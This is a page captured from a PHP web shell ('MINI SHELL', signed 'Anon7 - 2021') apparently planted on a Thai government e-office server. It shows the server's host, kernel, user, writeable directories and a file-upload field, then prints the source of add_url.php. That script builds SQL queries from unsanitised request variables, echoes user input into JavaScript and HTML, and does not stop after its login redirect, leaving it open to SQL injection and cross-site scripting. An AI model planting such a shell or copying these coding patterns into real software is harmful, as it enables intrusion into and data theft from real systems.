MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /var/www/html/pathumthani_eoffice/application/agenda/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/pathumthani_eoffice/application/agenda/add_url.php
<?
session_start();
include("../../config/config.inc.php");
include("function/function.php");
if(!isset($session_username)){
header("Location: login.php");
}

if($action == "upload"){
	$needle_url = "http://www.";
	$post_check = strpos($url,$needle_url);
	if($post_check === false){
			 echo "
				<script language=\"javascript\">
				alert(\"ไม่สามารถบันทึกรายการได้ \\n เนื่องจากรูปแบบ url : $url  ไม่ถูกต้อง\\n รูปแบบ url ที่ถูกต้องจะต้องขึ้นต้นด้วย http://www. \");
				location.href='add_url.php?id_sub=$id_sub&action=FaddU';
				</script>
				";
			exit();

	}else{
			if($sent_edit = "edit_ex"){
				$strSQL = "INSERT INTO tbl_url(id_sub,url,url_name)VALUES('$id_sub','$url','$url_name')";
			}else{
				$strSQL = "INSERT INTO tbl_url(id_sub,url,url_name)VALUES('$id_sub','$url','$url_name')";
			}
			$Result = mysql_db_query($dbname,$strSQL);
		if($Result){
				 echo "
				<script language=\"javascript\">
				alert(\"ระบบทำการบันทึกเรียบร้อยแล้ว\\n \");
				location.href='add_url.php?id_sub=$id_sub&action=FaddU';
				</script>
				";
				exit();
		}
	}// end if($post_check === false){
}

if($action == "DEL"){
	$strSQL_s1 = "SELECT * FROM tbl_url  WHERE runid='$run_id'";
	$Result_s1 = mysql_db_query($dbname,$strSQL_s1);
	$Rs_s1 = mysql_fetch_object($Result_s1);
	if($Rs_s1->url != ""){
	$strSQL_del = "DELETE FROM tbl_url where runid='$Rs_s1->runid'";
	$Result_del = mysql_db_query($dbname,$strSQL_del);
			if($Result_del){
						 echo "
						<script language=\"javascript\">
						alert(\"ลบรายการเรียบร้อยแล้ว\\n \");
						location.href='add_url.php?id_sub=$Rs_s1->id_sub&action=FaddU';
						</script>
						";
						exit();
			}
	}
}

if($action == "FEdit"){
$needle_url = "http://www.";
$check_pos = strpos($url,$needle_url);
	if($check_pos === false){
		 echo "
				<script language=\"javascript\">
				alert(\"ไม่สามารถบันทึกรายการได้ \\n เนื่องจากรูปแบบ url : $url  ไม่ถูกต้อง\\n รูปแบบ url ที่ถูกต้องจะต้องขึ้นต้นด้วย  http://www. \");
				location.href='add_url.php?id_sub=$id_sub&action=FaddU';
				</script>
				";
			exit();
	}else{
	$strSQLe1 = "UPDATE tbl_url SET url='$url', url_name='$url_name' WHERE runid='$runid'";
	$Resulte1 = mysql_db_query($dbname,$strSQLe1);
					if($Resulte1){
						 echo "
						<script language=\"javascript\">
						alert(\"แก้ไขรายการเรียบร้อยแล้ว\\n \");
						location.href='add_url.php?id_sub=$id_sub&action=FaddU';
						</script>
						";
						exit();
			}
	}// end if($check_pos === false){
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<link href="common/style.css" type="text/css" rel="stylesheet" />
<title>Upload File</title>
<script language="javascript">
function Check_v(){
 if(document.post.url.value=="http://"){
	alert("กรุณาระบุ url ");
	document.post.url.focus();
	return false;
	}else if(document.post.url_name.value==""){
		alert("กรุณาระบุ คำอธิบาย url");
		document.post.url_name.focus();
		return false;
	}else{
	return true;
	}
}

</script>
<style type="text/css">
<!--
.style1 {color: #FF0000}
-->
</style>
</head>
<body>
<table width="100%" height="100" align="center" cellpadding="2" cellspacing="1">
<tr>
    <td height="20" bgcolor="#8DA0C0">เพิ่ม URL <b></b></td>
</tr>	
<tr bgcolor="#ffffff">
    <td height="20" colspan="3">
<?
if($action == "FaddU"){
?>
<form name="post" action="?" method="post" enctype="multipart/form-data" onsubmit="return Check_v();">	
<input type="hidden" name="action" value="upload">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td bgcolor="#000000"><table width="100%" border="0" cellspacing="0" cellpadding="5">
      <tr>
        <td height="15" colspan="2" align="left" bgcolor="#FFFFFF"><img src="images/project1.gif" width="52" height="52" /></td>
      </tr>
      
      <tr>
        <td width="31%" height="20" align="right" bgcolor="#FFFFFF"><strong>URL&nbsp;:<span class="style1">*</span></strong></td>
        <td width="69%" bgcolor="#FFFFFF"><label>
          <input name="url" type="text" size="30" value="http://">
        </label></td>
      </tr>
      <tr>
        <td height="20" align="right" bgcolor="#FFFFFF"><strong>คำอธิบาย URL : </strong><strong><span class="style1">*</span></strong></td>
        <td bgcolor="#FFFFFF"><label>
          <input type="text" name="url_name" size="30">
        </label></td>
      </tr>
      
      <tr>
        <td height="20" align="right" valign="top" bgcolor="#FFFFFF"><strong>รายชื่อ URL  : </strong></td>
        <td align="left" valign="top" bgcolor="#FFFFFF"><table width="100%" border="0" cellspacing="0" cellpadding="3">
		<?
		$strSQL_s = "SELECT * FROM tbl_url WHERE id_sub='$id_sub' ";
		$Result_s = mysql_db_query($dbname,$strSQL_s);
		while($Rs_s = mysql_fetch_object($Result_s)){
		?>
          <tr>
            <td width="44%"><a href="<?=$Rs_s->url?>" target="_blank"><?=$Rs_s->url_name?></a></td>
            <td width="56%"><a href="add_url.php?action=FeditU&runid=<?=$Rs_s->runid?>&id_sub=<?=$id_sub?>"><img src="images/edit_project.gif" alt="แก้ไขรายการ" width="20" height="20" border="0" ></a>&nbsp;<a href="add_url.php?action=DEL&run_id=<?=$Rs_s->runid?>"><img src="images/delete.gif" width="20" height="20" alt="ลบไฟล์" border="0"></a></td>
          </tr>
		  <?
		  }
		  ?>
        </table></td>
      </tr>
      <tr>
        <td height="20" align="right" valign="top" bgcolor="#FFFFFF">&nbsp;</td>
        <td align="left" valign="top" bgcolor="#FFFFFF">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
		<input type="hidden" name="sent_edit" value="<?=$sent_edit?>">
		  <input type="hidden" name="id_sub" value="<?=$id_sub?>">
          <input type="submit" name="Submit" value="เพิ่ม URL" />
          <input type="button" name="btnC" value="ปิดหน้าต่าง" onclick="window.close();" />        </td>
      </tr>
    </table></td>
  </tr>
</table>
</form>
<?
}
?>
	</td>
</tr>
<tr align="center">
    <td height="20">
	<?
	if($action == "FeditU"){
	$strSQLe = "SELECT * FROM tbl_url WHERE runid='$runid'";
	$Resulte = mysql_db_query($dbname,$strSQLe);
	$Rse = mysql_fetch_object($Resulte);
	?>
<form name="form1" action="?" method="post" enctype="multipart/form-data">	
<input type="hidden" name="action" value="FEdit">
<input type="hidden" name="runid" value="<?=$Rse->runid?>" />
<input type="hidden" name="id_sub" value="<?=$id_sub?>" />

	<table width="100%" border="0" cellspacing="0" cellpadding="5">
      <tr>
        <td height="15" colspan="2" align="left" bgcolor="#FFFFFF"><img src="images/project1.gif" width="52" height="52" /></td>
      </tr>
      <tr>
        <td width="31%" height="20" align="right" bgcolor="#FFFFFF"><strong>URL&nbsp;:</strong></td>
        <td width="69%" align="left" bgcolor="#FFFFFF"><label>
          <input name="url" type="text" size="30" value="<?=$Rse->url?>">
        </label></td>
      </tr>
      <tr>
        <td height="20" align="right" bgcolor="#FFFFFF"><strong>คำอธิบาย URL : </strong></td>
        <td align="left" bgcolor="#FFFFFF"><label>
          <input type="text" name="url_name" size="30" value="<?=$Rse->url_name?>">
        </label></td>
      </tr>
      
      <tr>
        <td height="20" align="right" valign="top" bgcolor="#FFFFFF">&nbsp;</td>
        <td align="left" valign="top" bgcolor="#FFFFFF"><input type="submit" name="Submit" value="เพิ่ม URL" />
            <input type="button" name="btnB2" value="ย้อยกลับ" onclick="location.href='add_url.php?action=FaddU&id_sub=<?=$id_sub?>'">        </td>
      </tr>
    </table>
	</form>
	<?
	}
	?>
	</td>
</tr>
</table>
</body>
</html>

Anon7 - 2021